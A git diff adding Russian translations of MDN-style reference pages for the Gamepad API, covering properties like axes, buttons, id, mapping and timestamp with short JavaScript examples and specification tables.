+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('XMLHttpRequest','#dom-formdata','values() (as iterator&lt;&gt;)')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддержка_браузерами">Поддержка браузерами</h2>
+
+
+
+<p>{{Compat("api.FormData.values")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("XMLHTTPRequest")}}</li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/Using_XMLHttpRequest" title="Using XMLHttpRequest">Использование XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/DOM/XMLHttpRequest/FormData/Using_FormData_Objects" title="DOM/XMLHttpRequest/FormData/Using_FormData_objects">Использование FormData objects</a></li>
+ <li>{{HTMLElement("Form")}}</li>
+</ul>
diff --git a/files/ru/web/api/gamepad/axes/index.html b/files/ru/web/api/gamepad/axes/index.html
new file mode 100644
index 0000000000..eb16be54c3
--- /dev/null
+++ b/files/ru/web/api/gamepad/axes/index.html
@@ -0,0 +1,70 @@
+---
+title: Gamepad.axes
+slug: Web/API/Gamepad/axes
+translation_of: Web/API/Gamepad/axes
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>Gamepad.axes</strong></code> интерфейса {{domxref("Gamepad") }} возвращает массив, показывающий состояние элементов управления, имеющих оси направления, такие как джойстики на геймпаде.</p>
+
+<p>Каждый элемент массива - дробное число в диапазоне от -1.0 до 1.0, показывающий состояние от самого маленького значения (-1.0) до самого высокого (1.0).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">double[]</span>            <span class="idlAttrName">axes</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+  } else {
+    var gp = navigator.getGamepads()[0];
+  }
+
+  if(gp.axes[0] != 0) {
+    b -= gp.axes[0];
+  } else if(gp.axes[1] != 0) {
+    a += gp.axes[1];
+  } else if(gp.axes[2] != 0) {
+    b += gp.axes[2];
+  } else if(gp.axes[3] != 0) {
+    a -= gp.axes[3];
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = rAF(gameLoop);
+};</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Массив значений {{domxref("double") }} </p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepad-axes", "Gamepad.axes")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Gamepad.axes")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/buttons/index.html b/files/ru/web/api/gamepad/buttons/index.html
new file mode 100644
index 0000000000..f17b3cc9d1
--- /dev/null
+++ b/files/ru/web/api/gamepad/buttons/index.html
@@ -0,0 +1,91 @@
+---
+title: Gamepad.buttons
+slug: Web/API/Gamepad/buttons
+translation_of: Web/API/Gamepad/buttons
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+
+
+<p>Свойство <code><strong>Gamepad.buttons</strong></code> интерфейса {{domxref("Gamepad") }} возвращает массив, сосотоящий из объектов {{domxref("gamepadButton")}}, представляющие кнопки, представленные на устройстве (геймпаде). </p>
+
+<p>Каждый элемент в массиве равен 0 если кнопка не нажата, и не-нуль (обычно 1.0) если нажата. Каждый объект {{domxref("gamepadButton")}} содержит два параметра: <code>pressed</code> и <code>value</code>:</p>
+
+<ul>
+ <li>Свойство <code>pressed</code>  - boolean индикатор, показывающий, нажата ли кнопка (<code>true</code>) или нет (<code>false</code>).</li>
+ <li>Свойство <code>value</code> - число с плавающей точкой, показывающая степень нажатия на аналоговую кнопку (как тригггеры на многих современных геймпадах). Значение нормализованно в диапазоне 0.0 – 1.0, где 0.0 указывает, что кнопка не нажата, а 1.0 - что нажата полностью.</li>
+</ul>
+
+<h2 id="Синтакс">Синтакс</h2>
+
+<pre class="syntaxbox notranslate">readonly    attribute GamepadButton[]     buttons;</pre>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Приведенный код взят из моего<em> (автора статьи)</em> демо Gamepad API button (вы можете  <a href="http://chrisdavidmills.github.io/gamepad-buttons/" rel="noopener">Посмотреть демо</a>, и <a href="https://github.com/chrisdavidmills/gamepad-buttons/tree/master" rel="noopener">посмотреть исходники на GitHub</a>). Важно — в Chrome <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> неободимо установить префикс <code>webkit</code>, и значения кнопки будут представлять из себя массив дробных чисел, тогда как в  Firefox <a href="https://developer.mozilla.org/ru/docs/Web/API/Navigator/getGamepads"><code>Navigator.getGamepads</code></a> нет необходимости устанавливать префикс, и значения будут представлять собой массив  объектов <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton"><code>GamepadButton</code></a>; Свойство <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/value" rel="nofollow"><code>GamepadButton.value</code></a> или <a href="https://developer.mozilla.org/ru/docs/Web/API/GamepadButton/pressed" rel="nofollow"><code>GamepadButton.pressed</code></a> необходимо для получения состояния кнопки, в зависимости от от типа кнопки. В данном простом примере обрабатывается оба вида кнопок.</p>
+
+<pre class="brush: js notranslate">function gameLoop() {
+  if(navigator.webkitGetGamepads) {
+    var gp = navigator.webkitGetGamepads()[0];
+
+    if(gp.buttons[0] == 1) {
+      b--;
+    } else if(gp.buttons[1] == 1) {
+      a++;
+    } else if(gp.buttons[2] == 1) {
+      b++;
+    } else if(gp.buttons[3] == 1) {
+      a--;
+    }
+  } else {
+    var gp = navigator.getGamepads()[0];
+
+    if(gp.buttons[0].value &gt; 0 || gp.buttons[0].pressed == true) {
+      b--;
+    } else if(gp.buttons[1].value &gt; 0 || gp.buttons[1].pressed == true) {
+      a++;
+    } else if(gp.buttons[2].value &gt; 0 || gp.buttons[2].pressed == true) {
+      b++;
+    } else if(gp.buttons[3].value &gt; 0 || gp.buttons[3].pressed == true) {
+      a--;
+    }
+  }
+
+  ball.style.left = a*2 + "px";
+  ball.style.top = b*2 + "px";
+
+  var start = window.requestAnimationFrame(gameLoop);
+};</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>Массив из объектов {{domxref("gamepadButton")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepad-buttons", "Gamepad.buttons")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Gamepad.buttons")}}</p>
+
+<div id="compat-mobile"></div>
+
+<h2 id="См._также">См. также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/connected/index.html b/files/ru/web/api/gamepad/connected/index.html
new file mode 100644
index 0000000000..8170c0f537
--- /dev/null
+++ b/files/ru/web/api/gamepad/connected/index.html
@@ -0,0 +1,48 @@
+---
+title: Gamepad.connected
+slug: Web/API/Gamepad/connected
+translation_of: Web/API/Gamepad/connected
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>Gamepad.connected</strong></code> интерфейса {{domxref("Gamepad") }} возвращает логическое значение того, подключен ли всё ещё геймпад к системе.</p>
+
+<p>Если геймпад подключен - значение равно <code>true</code>; если нет - <code>false</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute"> readonly    attribute <span class="idlAttrType">boolean</span>             <span class="idlAttrName">connected</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var gp = navigator.getGamepads()[0];
+console.log(gp.connected);</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>{{jsxref("Boolean")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-Gamepad-connected", "Gamepad.connected")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Gamepad.connected")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/displayid/index.html b/files/ru/web/api/gamepad/displayid/index.html
new file mode 100644
index 0000000000..0b3f71009e
--- /dev/null
+++ b/files/ru/web/api/gamepad/displayid/index.html
@@ -0,0 +1,58 @@
+---
+title: Gamepad.displayId
+slug: Web/API/Gamepad/displayId
+tags:
+  - Виртуальная реальность
+translation_of: Web/API/Gamepad/displayId
+---
+<p>{{DefaultAPISidebar("WebVR API")}}{{SeeCompatTable}}</p>
+
+<p>Свойство <strong>displayId</strong> только для чтения {{domxref("Gamepad")}} возвращаемый интерфейс<dfn> {{domxref("VRDisplay.displayId")}} связанный с {{domxref("VRDisplay")}} —  <code>VRDisplay</code>  (дисплей виртуальной реальности) в котором геймпад управляет отображаемой сценой.</dfn></p>
+
+<p>Геймпад считается связанным с {{domxref("VRDisplay")}} если он сообщает о позиции, которая находится в том же месте, что и {{domxref("VRDisplay.pose")}}.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">var myDisplayId = gamepadInstance.displayId;</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Число, представляющее связанный интерфейс {{domxref("VRDisplay.displayId")}}.Если число равно 0, то геймпад не связан с дисплеем VR( виртуальной реальности).</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js">window<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">"gamepadconnected"</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{
+  if(</span>!e<span class="punctuation token">.</span>gamepad<span class="punctuation token">.displayId) {
+    </span>console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Gamepad connected'</span><span class="punctuation token">)</span><span class="punctuation token">;
+  } else {</span>
+    console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span><span class="string token">'Gamepad connected, associated with VR display ' +</span> e<span class="punctuation token">.</span>gamepad<span class="punctuation token">.displayId</span><span class="punctuation token">)</span><span class="punctuation token">;
+  }</span>
+<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#gamepad-getvrdisplays-attribute', 'displayId')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.Gamepad.displayId")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — демосцены, материалы, доступные для скачивания и другие материалы команды the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/gamepad/id/index.html b/files/ru/web/api/gamepad/id/index.html
new file mode 100644
index 0000000000..ef66df6574
--- /dev/null
+++ b/files/ru/web/api/gamepad/id/index.html
@@ -0,0 +1,59 @@
+---
+title: Gamepad.id
+slug: Web/API/Gamepad/id
+translation_of: Web/API/Gamepad/id
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Свойство<strong> <code>Gamepad.id</code></strong> интерфейса {{domxref("Gamepad") }} возвращает строку, содержащую некоторую информацию о контроллере.</p>
+
+<p>Существующий синтаксис не стандартизирован, но в Firefox эта строка представляет собой три значения, разделенные тире (<code>-</code>):</p>
+
+<ul>
+ <li>Две четырехзначных шестнадцатеричных строки, содержащих USB vendor id (<code>VID</code>) и product id (<code>PID</code>) контроллера</li>
+ <li>Имя контроллера, предоставленное драйвером.</li>
+</ul>
+
+<p>Например, PS2 контроллер вернет <code><strong>810-3-USB Gamepad</strong></code>.</p>
+
+<p>Эта информация позволяет вам найти соответствие для элементов управления контроллера, а также, отобразить полезную информацию для пользователя.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">DOMString</span>           <span class="idlAttrName">id</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function() {
+  var gp = navigator.getGamepads()[0];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ".";
+});</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>{{jsxref("String")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-Gamepad-id", "Gamepad.id")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Gamepad.id")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/index.html b/files/ru/web/api/gamepad/index.html
new file mode 100644
index 0000000000..2059e361da
--- /dev/null
+++ b/files/ru/web/api/gamepad/index.html
@@ -0,0 +1,92 @@
+---
+title: Gamepad
+slug: Web/API/Gamepad
+translation_of: Web/API/Gamepad
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Интерфейс <strong><code>Gamepad</code></strong> <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> определяет отдельный геймпад или контроллер, предоставляющий доступ к такой информации, как: нажатие кнопок, позиции осей, и id.</p>
+
+<p>Объект <code>Gamepad</code> может быть возвращен в одном из двух случаев: как свойство <code>gamepad</code> событий {{event("gamepadconnected")}} и {{event("gamepaddisconnected")}}, или считыванием любой позиции в массиве, возвращенном методом {{domxref("Navigator.getGamepads()")}}.</p>
+
+<h2 id="Свойства">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Gamepad.displayId")}} {{readonlyInline}}</dt>
+ <dd><dfn>Возвращает {{domxref("VRDisplay.displayId")}} связанный с {{domxref("VRDisplay")}} (при необходимости) — <code>VRDisplay</code> отображаемая область которого управляется геймпадом.</dfn></dd>
+ <dt>{{domxref("Gamepad.id")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMString")}} содержит идентификационную информацию о контроллере.</dd>
+ <dt>{{domxref("Gamepad.index")}} {{readonlyInline}}</dt>
+ <dd>Целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного в данный момент к системе.</dd>
+ <dt>{{domxref("Gamepad.mapping")}} {{readonlyInline}}</dt>
+ <dd>Строка, указывающая, переназначил ли браузер элементы управления устройства на уже известный шаблон.</dd>
+ <dt>{{domxref("Gamepad.connected")}} {{readonlyInline}}</dt>
+ <dd>Логическое свойство показывающее, подключен ли геймпад к системе в данный момент.</dd>
+ <dt>{{domxref("Gamepad.buttons")}} {{readonlyInline}}</dt>
+ <dd>Массив объектов {{domxref("gamepadButton")}} представляющих кнопки устройства.</dd>
+ <dt>{{domxref("Gamepad.axes")}} {{readonlyInline}}</dt>
+ <dd>Массив, представляющий элементы управления осями устройства (например, аналоговые стики).</dd>
+ <dt>{{domxref("Gamepad.timestamp")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("DOMHighResTimeStamp")}} представляет время последнего обновления данных геймпада.</dd>
+</dl>
+
+<h3 id="Экспериментальные_расширения_для_Gamepad">Экспериментальные расширения для Gamepad</h3>
+
+<p>Следующие интерфейсы определены в спецификации {{SpecName("GamepadExtensions")}}, и предоставляют доступ к экспериментальным возможностям, таким как тактильная обратная связь (haptic feedback) и информация о положении WebVR контроллера.</p>
+
+<dl>
+ <dt>{{domxref("Gamepad.hand")}} {{readonlyInline}}</dt>
+ <dd>Перечисляемое значение, которое определяет в какой руке находится контроллер.</dd>
+ <dt>{{domxref("Gamepad.hapticActuators")}} {{readonlyInline}}</dt>
+ <dd>Массив, содержащий объекты {{domxref("GamepadHapticActuator")}}, каждый из которых представляет собой аппаратные средства тактильной обратной связи (haptic feedbac) доступные для контроллера.</dd>
+ <dt>{{domxref("Gamepad.pose")}} {{readonlyInline}}</dt>
+ <dd>Объект {{domxref("GamepadPose")}} представляет информацию о положении WebVR контроллера (например, позиция и ориентация в 3D пространстве).</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function(e) {
+  console.log("Gamepad connected at index %d: %s. %d buttons, %d axes.",
+  e.gamepad.index, e.gamepad.id,
+  e.gamepad.buttons.length, e.gamepad.axes.length);
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#gamepad-interface", "Gamepad")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#gamepad-getvrdisplays-attribute', 'displayId')}}</td>
+   <td>{{Spec2("WebVR 1.1")}}</td>
+   <td>Определено свойство {{domxref("Gamepad.displayId")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("GamepadExtensions", "#partial-gamepad-interface", "Gamepad extensions")}}</td>
+   <td>{{Spec2("GamepadExtensions")}}</td>
+   <td>Определены {{anch("Экспериментальные расширения для Gamepad")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.Gamepad")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></li>
+ <li><a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a></li>
+</ul>
diff --git a/files/ru/web/api/gamepad/index/index.html b/files/ru/web/api/gamepad/index/index.html
new file mode 100644
index 0000000000..2e51e57342
--- /dev/null
+++ b/files/ru/web/api/gamepad/index/index.html
@@ -0,0 +1,50 @@
+---
+title: Gamepad.index
+slug: Web/API/Gamepad/index
+translation_of: Web/API/Gamepad/index
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Свойство <code><strong>Gamepad.index</strong></code> интерфейса {{domxref("Gamepad") }} возвращает целое автоинкрементируемое значение, уникальное для каждого устройства, подключенного к системе.</p>
+
+<p>Это может быть полезно для распознавания нескольких контроллеров; отключенный, и подключенный заново геймпад, будет иметь тот же индекс.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">long</span>                <span class="idlAttrName">index</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">window.addEventListener("gamepadconnected", function() {
+  var gp = navigator.getGamepads()[0];
+  gamepadInfo.innerHTML = "Gamepad connected at index " + gp.index + ": " + gp.id + ".";
+});</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{jsxref("Number") }}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-Gamepad-index", "Gamepad.index")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Gamepad.index")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/mapping/index.html b/files/ru/web/api/gamepad/mapping/index.html
new file mode 100644
index 0000000000..5fad34e1b5
--- /dev/null
+++ b/files/ru/web/api/gamepad/mapping/index.html
@@ -0,0 +1,48 @@
+---
+title: Gamepad.mapping
+slug: Web/API/Gamepad/mapping
+translation_of: Web/API/Gamepad/mapping
+---
+<p>{{APIRef("Gamepad API")}}</p>
+
+<p>Свойство <code><strong>Gamepad.mapping</strong></code> интерфейса {{domxref("Gamepad")}} возвращает строковый индикатор, указывающий, изменил ли браузер элементы управления на уже известный шабон</p>
+
+<p>На данный момент существует один поддерживаемый шаблон - <a href="https://dvcs.w3.org/hg/gamepad/raw-file/default/gamepad.html#remapping">standard gamepad</a>. Если браузер позволяет поменять элементы управления в данном шаблоне, свойство  <code>mapping</code> будет установлено строко <code>"standard"</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">DOMString</span>           <span class="idlAttrName">mapping</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js notranslate">var gp = navigator.getGamepads()[0];
+console.log(gp.mapping);</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>A {{domxref("string")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#dom-gamepad-mapping", "Gamepad.mapping")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Браузерная_совместимость">Браузерная совместимость</h2>
+
+<p>{{Compat("api.Gamepad.mapping")}}</p>
+
+<h2 id="См._также">См. также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad/timestamp/index.html b/files/ru/web/api/gamepad/timestamp/index.html
new file mode 100644
index 0000000000..e2352b126d
--- /dev/null
+++ b/files/ru/web/api/gamepad/timestamp/index.html
@@ -0,0 +1,52 @@
+---
+title: Gamepad.timestamp
+slug: Web/API/Gamepad/timestamp
+translation_of: Web/API/Gamepad/timestamp
+---
+<div>{{APIRef("Gamepad API")}}</div>
+
+<p>Свойство <strong><code>Gamepad.timestamp</code></strong> интерфейса {{domxref("Gamepad")}} возвращает {{domxref("DOMHighResTimeStamp")}}, представляющий собой время последнего обновления геймпада.</p>
+
+<p>Идея состоит в том, чтобы позволить разработчику определить, были ли изменены данные для <code>axes</code> и <code>button</code> на аппаратном обеспечении. Значение должно быть установлено относительно атрибута <code>navigationStart</code> интерфейса <code>{{domxref("PerformanceTiming")}}</code>. Значения монотонно увеличиваются, поэтому их можно сравнивать, чтобы определить порядок изменений, т.к. новые значения всегда будут больше или равны старым.</p>
+
+<div class="note">
+<p><strong>Примечание</strong>: В данный момент, это свойство нигде не поддерживается.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox"><span class="idlInterface" id="idl-def-Gamepad"><span class="idlAttribute">readonly    attribute <span class="idlAttrType">DOMHighResTimeStamp</span> <span class="idlAttrName">timestamp</span>;</span></span></pre>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var gp = navigator.getGamepads()[0];
+console.log(gp.timestamp);</pre>
+
+<h2 id="Значение">Значение</h2>
+
+<p>{{domxref("DOMHighResTimeStamp")}}.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Gamepad", "#widl-Gamepad-timestamp", "Gamepad.timestamp")}}</td>
+   <td>{{Spec2("Gamepad")}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Gamepad.timestamp")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p><a href="/en-US/docs/Web/Guide/API/Gamepad">Using the Gamepad API</a></p>
diff --git a/files/ru/web/api/gamepad_api/index.html b/files/ru/web/api/gamepad_api/index.html
new file mode 100644
index 0000000000..53ecea9f2b
--- /dev/null
+++ b/files/ru/web/api/gamepad_api/index.html
@@ -0,0 +1,99 @@
+---
+title: Gamepad API
+slug: Web/API/Gamepad_API
+tags:
+  - API
+  - Gamepad API
+  - Игры
+  - Обзор
+  - Экспериментальный
+translation_of: Web/API/Gamepad_API
+---
+<div>{{DefaultAPISidebar("Gamepad API")}}</div>
+
+<p>API Gamepad - это простой и последовательный способ для разработчиков получать доступ к сигналам с геймпадов и других игровых контроллеров и реагировать на них. Он содержит три интерфейса, два события и одну специализированную функцию, чтобы реагировать на подключение и отключение геймпадов, а также получать доступ к другой информации о самих геймпадах и о том, какие кнопки и другие элементы управления в настоящее время нажимаются.</p>
+
+<h2 id="Интерфейсы">Интерфейсы</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad" title="The Gamepad interface of the Gamepad API defines an individual gamepad or other controller, allowing access to information such as button presses, axis positions, and id."><code>Gamepad</code></a></dt>
+ <dd>Представляет собой геймпад/контроллер, подключенный к компьютеру.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadButton" title="The GamepadButton interface defines an individual button of a gamepad or other controller, allowing access to the current state of different types of buttons available on the control device."><code>GamepadButton</code></a></dt>
+ <dd>Представлят собой кнопку одного из подлюченных контроллеров</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadEvent" title="The GamepadEvent interface of the Gamepad API contains references to gamepads connected to the system, which is what the gamepad events Window.gamepadconnected and Window.gamepaddisconnected are fired in response to."><code>GamepadEvent</code></a></dt>
+ <dd>Объект события, представляющий запущенные события, связанные с геймпадами.</dd>
+</dl>
+
+<h3 id="Экспериментальные_расширения_геймпада">Экспериментальные расширения геймпада</h3>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadHapticActuator" title="The GamepadHapticActuator interface of the Gamepad API represents hardware in the controller designed to provide haptic feedback to the user (if available), most commonly vibration hardware."><code>GamepadHapticActuator</code></a></dt>
+ <dd>Представляет собой аппаратное обеспечение в контроллере, предназначенное для обеспечения тактильной обратной связи с пользователем (если таковая имеется), чаще всего вибрационное оборудование.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/API/GamepadPose" title="The GamepadPose interface of the Gamepad API represents the pose of a WebVR controller at a given timestamp (which includes orientation, position, velocity, and acceleration information.)"><code>GamepadPose</code></a></dt>
+ <dd>Представляет собой позу контроллера (например, положение и ориентацию в трехмерном пространстве) в случае контроллера WebVR. Это не используется в более новом стандарте WebXR.</dd>
+</dl>
+
+<p>Сморите также <a href="https://developer.mozilla.org/en-US/docs/Web/API/Gamepad#Experimental_extensions_to_Gamepad">extensions to the Gamepad interface</a> (расширения интерфейса геймпада) для функций, которые позволяют получить доступ к вышеуказанной информации.</p>
+
+<h3 id="Расширения_для_других_интерфейсов">Расширения для других интерфейсов</h3>
+
+<h4 id="Навигатор">Навигатор</h4>
+
+<dl>
+ <dt>{{domxref("Navigator.getGamepads()")}}</dt>
+ <dd>Расширение объекта {{domxref("Navigator")}}, возвращающее масссив объектов {{domxref("Gamepad")}} по одному для каждого подключенного геймпада.</dd>
